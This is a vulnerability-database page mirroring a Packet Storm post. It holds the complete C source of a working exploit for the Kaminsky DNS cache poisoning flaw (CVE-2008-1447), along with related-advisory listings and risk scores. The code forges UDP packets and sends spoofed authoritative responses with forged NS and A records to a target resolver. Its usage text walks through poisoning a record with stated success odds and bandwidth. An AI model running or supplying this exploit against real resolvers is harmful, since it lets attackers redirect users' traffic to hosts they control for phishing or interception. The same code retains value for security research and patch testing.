Lucene search

K

bind9x-poison.txt

🗓️ 25 Jul 2008 00:00:00Reported by Marc BevandType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 111 Views

CVE-2008-1447 Kaminsky DNS Cache Poisoning Attac

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
ReporterTitlePublishedViews
Family
SUSE Linux
DNS cache poisoning in bind
11 Jul 200809:57
suse
Packet Storm
bailiwicked_domain.rb.txt
24 Jul 200800:00
packetstorm
Packet Storm
bailiwicked_host.rb.txt
24 Jul 200800:00
packetstorm
OpenVAS
CentOS Update for bind CESA-2008:0533 centos3 x86_64
27 Feb 200900:00
openvas
OpenVAS
Fedora Core 9 FEDORA-2009-1069 (dnsmasq)
18 Feb 200900:00
openvas
OpenVAS
SLES10: Security update for bind
13 Oct 200900:00
openvas
OpenVAS
Nmap NSE: DNS Random TXID
6 Jan 201100:00
openvas
OpenVAS
Debian Security Advisory DSA 1603-1 (bind9)
15 Jul 200800:00
openvas
OpenVAS
HP-UX Update for BIND HPSBUX02351
5 May 200900:00
openvas
OpenVAS
CentOS Update for bind CESA-2008:0533 centos3 i386
27 Feb 200900:00
openvas
Rows per page
`/*  
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack  
*  
* Compilation:  
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm  
*  
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)  
*  
* Author: marc.bevand at rapid7 dot com  
*/  
  
#define _BSD_SOURCE  
  
#include <sys/types.h>  
#include <err.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <math.h>  
#include <time.h>  
#include <unistd.h>  
#include <dumbnet.h>  
  
#define DNSF_RESPONSE (1<<15)  
#define DNSF_AUTHORITATIVE (1<<10)  
#define DNSF_REC_DESIRED (1<<8)  
#define DNSF_REC_AVAILABLE (1<<7)  
  
#define TYPE_A 0x1  
#define TYPE_NS 0x2  
#define CLASS_IN 0x1  
  
struct dns_pkt  
{  
uint16_t txid;  
uint16_t flags;  
uint16_t nr_quest;  
uint16_t nr_ans;  
uint16_t nr_auth;  
uint16_t nr_add;  
} __attribute__ ((__packed__));  
  
void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)  
{  
unsigned bufi, i, j;  
bufi = i = j = 0;  
while (name[i])  
{  
if (name[i] == '.')  
{  
if (bufi + 1 + (i - j) > size)  
fprintf(stderr, "format_domain overflow\n"), exit(1);  
buf[bufi++] = i - j;  
memcpy(buf + bufi, name + j, i - j);  
bufi += i - j;  
j = i + 1;  
}  
i++;  
}  
if (bufi + 1 + 2 + 2 > size)  
fprintf(stderr, "format_domain overflow\n"), exit(1);  
buf[bufi++] = 0;  
*len = bufi;  
}  
  
void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)  
{  
uint16_t tmp;  
// name  
format_domain(buf, size, len, name);  
// type  
tmp = htons(type);  
memcpy(buf + *len, &tmp, sizeof (tmp));  
*len += sizeof (tmp);  
// class  
tmp = htons(class);  
memcpy(buf + *len, &tmp, sizeof (tmp));  
*len += sizeof (tmp);  
}  
  
void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)  
{  
format_qr(buf, size, len, name, type, class);  
// ttl  
ttl = htonl(ttl);  
memcpy(buf + *len, &ttl, sizeof (ttl));  
*len += sizeof (ttl);  
// data length + data  
uint16_t dlen;  
struct addr addr;  
switch (type)  
{  
case TYPE_A:  
dlen = sizeof (addr.addr_ip);  
break;  
case TYPE_NS:  
dlen = strlen(data) + 1;  
break;  
default:  
fprintf(stderr, "format_rr: unknown type %02x", type);  
exit(1);  
}  
dlen = htons(dlen);  
memcpy(buf + *len, &dlen, sizeof (dlen));  
*len += sizeof (dlen);  
// data  
unsigned len2;  
switch (type)  
{  
case TYPE_A:  
if (addr_aton(data, &addr) < 0)  
fprintf(stderr, "invalid destination IP: %s", data), exit(1);  
memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));  
*len += sizeof (addr.addr_ip);  
break;  
case TYPE_NS:  
format_domain(buf + *len, size - *len, &len2, data);  
*len += len2;  
break;  
default:  
fprintf(stderr, "format_rr: unknown type %02x", type);  
exit(1);  
}  
}  
  
void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)  
{  
u_char *out = buf;  
struct dns_pkt p = {  
.txid = htons(txid),  
.flags = htons(flags),  
.nr_quest = htons(1),  
.nr_ans = htons(0),  
.nr_auth = htons(0),  
.nr_add = htons(0),  
};  
u_char qr[256];  
unsigned l;  
format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);  
if (sizeof (p) + l > size)  
fprintf(stderr, "dns_query overflow"), exit(1);  
memcpy(out, &p, sizeof (p));  
out += sizeof (p);  
memcpy(out, qr, l);  
out += l;  
*len = sizeof (p) + l;  
}  
  
void dns_response(u_char *buf, unsigned size, unsigned *len,  
uint16_t txid, uint16_t flags,  
const char *q_name, const char *q_ip,  
const char *domain, const char *auth_name, const char *auth_ip)  
{  
u_char *out = buf;  
u_char *end = buf + size;  
u_char rec[256];  
unsigned l_rec;  
uint32_t ttl = 24*3600;  
struct dns_pkt p = {  
.txid = htons(txid),  
.flags = htons(flags),  
.nr_quest = htons(1),  
.nr_ans = htons(1),  
.nr_auth = htons(1),  
.nr_add = htons(1),  
};  
(void)domain;  
*len = 0;  
if (out + *len + sizeof (p) > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);  
// queries  
format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
// answers  
format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,  
ttl, q_ip);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
// authoritative nameservers  
format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,  
ttl, auth_name);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
// additional records  
format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,  
ttl, auth_ip);  
if (out + *len + l_rec > end)  
fprintf(stderr, "dns_response overflow"), exit(1);  
memcpy(out + *len, rec, l_rec); *len += l_rec;  
}  
  
unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)  
{  
unsigned len = 0;  
// ip  
struct ip_hdr *ip = (struct ip_hdr *)buf;  
ip->ip_hl = 5;  
ip->ip_v = 4;  
ip->ip_tos = 0;  
ip->ip_id = rand() & 0xffff;  
ip->ip_off = 0;  
ip->ip_ttl = IP_TTL_MAX;  
ip->ip_p = 17; // udp  
ip->ip_sum = 0;  
struct addr addr;  
if (addr_aton(srcip, &addr) < 0)  
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);  
ip->ip_src = addr.addr_ip;  
if (addr_aton(dstip, &addr) < 0)  
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);  
ip->ip_dst = addr.addr_ip;  
// udp  
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);  
udp->uh_sport = htons(1234);  
udp->uh_dport = htons(53);  
// dns  
dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,  
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,  
rand(), DNSF_REC_DESIRED, name);  
// udp len  
len += UDP_HDR_LEN;  
udp->uh_ulen = htons(len);  
// ip len & cksum  
len += IP_HDR_LEN;  
ip->ip_len = htons(len);  
ip_checksum(buf, len);  
return len;  
}  
  
unsigned build_response(u_char *buf, const char *srcip, const char *dstip,  
uint16_t port_resolver, uint16_t txid,  
const char *q_name, const char *q_ip,  
const char *domain, const char *auth_name, const char *auth_ip)  
{  
unsigned len = 0;  
// ip  
struct ip_hdr *ip = (struct ip_hdr *)buf;  
ip->ip_hl = 5;  
ip->ip_v = 4;  
ip->ip_tos = 0;  
ip->ip_id = rand() & 0xffff;  
ip->ip_off = 0;  
ip->ip_ttl = IP_TTL_MAX;  
ip->ip_p = 17; // udp  
ip->ip_sum = 0;  
struct addr addr;  
if (addr_aton(srcip, &addr) < 0)  
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);  
ip->ip_src = addr.addr_ip;  
if (addr_aton(dstip, &addr) < 0)  
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);  
ip->ip_dst = addr.addr_ip;  
// udp  
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);  
udp->uh_sport = htons(53);  
udp->uh_dport = htons(port_resolver);  
// dns  
dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,  
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,  
txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,  
q_name, q_ip, domain, auth_name, auth_ip);  
// udp len  
len += UDP_HDR_LEN;  
udp->uh_ulen = htons(len);  
// ip len & cksum  
len += IP_HDR_LEN;  
ip->ip_len = htons(len);  
ip_checksum(buf, len);  
return len;  
}  
  
void usage(char *name)  
{  
fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "  
"<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"  
" <ip-querier> Source IP used when sending queries for random hostnames\n"  
" (typically your IP)\n"  
" <ip-resolver> Target DNS resolver to attack\n"  
" <ip-authoritative> One of the authoritative DNS servers for <domain>\n"  
" <port-resolver> Source port used by the resolver when forwarding queries\n"  
" <subhost> Poison the cache with the A record <subhost>.<domain>\n"  
" <domain> Domain name, see <subhost>.\n"  
" <any-ip> IP of your choice to be associated to <subhost>.<domain>\n"  
" <attempts> Number of poisoning attemps, more attempts increase the\n"  
" chance of successful poisoning, but also the attack time\n"  
" <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"  
" increase the chance of successful poisoning but, but also\n"  
" the rate of packet loss\n"  
"Example:\n"  
" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"  
"This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"  
"in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"  
"this example (8192 attempts and 16 replies/attempt) is 86%%\n"  
"(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"  
"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"  
"8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"  
"100 attempts/sec).\n",  
name, name);  
}  
  
int main(int argc, char **argv)  
{  
if (argc != 10)  
usage(argv[0]), exit(1);  
const char *querier = argv[1];  
const char *ip_resolver = argv[2];  
const char *ip_authoritative = argv[3];  
uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);  
const char *subhost = argv[5];  
const char *domain = argv[6];  
const char *anyip = argv[7];  
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);  
uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);  
if (domain[strlen(domain) - 1 ] != '.')  
fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);  
printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));  
srand(time(NULL));  
int unique = rand() + (rand() << 16);  
u_char buf[IP_LEN_MAX];  
unsigned len;  
char name[256];  
char ns[256];  
ip_t *iph;  
if ((iph = ip_open()) == NULL)  
err(1, "ip_open");  
int cnt = 0;  
while (cnt < attempts)  
{  
// send a query for a random hostname  
snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);  
len = build_query(buf, querier, ip_resolver, name);  
if (ip_send(iph, buf, len) != len)  
err(1, "ip_send");  
// give the resolver enough time to forward the query and be in a state  
// where it waits for answers; sleeping 10ms here limits the number of  
// attempts to 100 per sec  
usleep(10000);  
// send spoofed replies, each reply contains:  
// - 1 query: query for the "random hostname"  
// - 1 answer: "random hostname" A 1.1.1.1  
// - 1 authoritative nameserver: <domain> NS <subhost>.<domain>  
// - 1 additional record: <subhost>.<domain> A <any-ip>  
snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);  
unsigned r;  
for (r = 0; r < replies; r++)  
{  
// use a txid that is just 'r': 0..(replies-1)  
len = build_response(buf, ip_authoritative, ip_resolver,  
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);  
if (ip_send(iph, buf, len) != len)  
err(1, "ip_send");  
}  
cnt++;  
}  
ip_close(iph);  
return 0;  
}  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
25 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.92107
111
.json
Report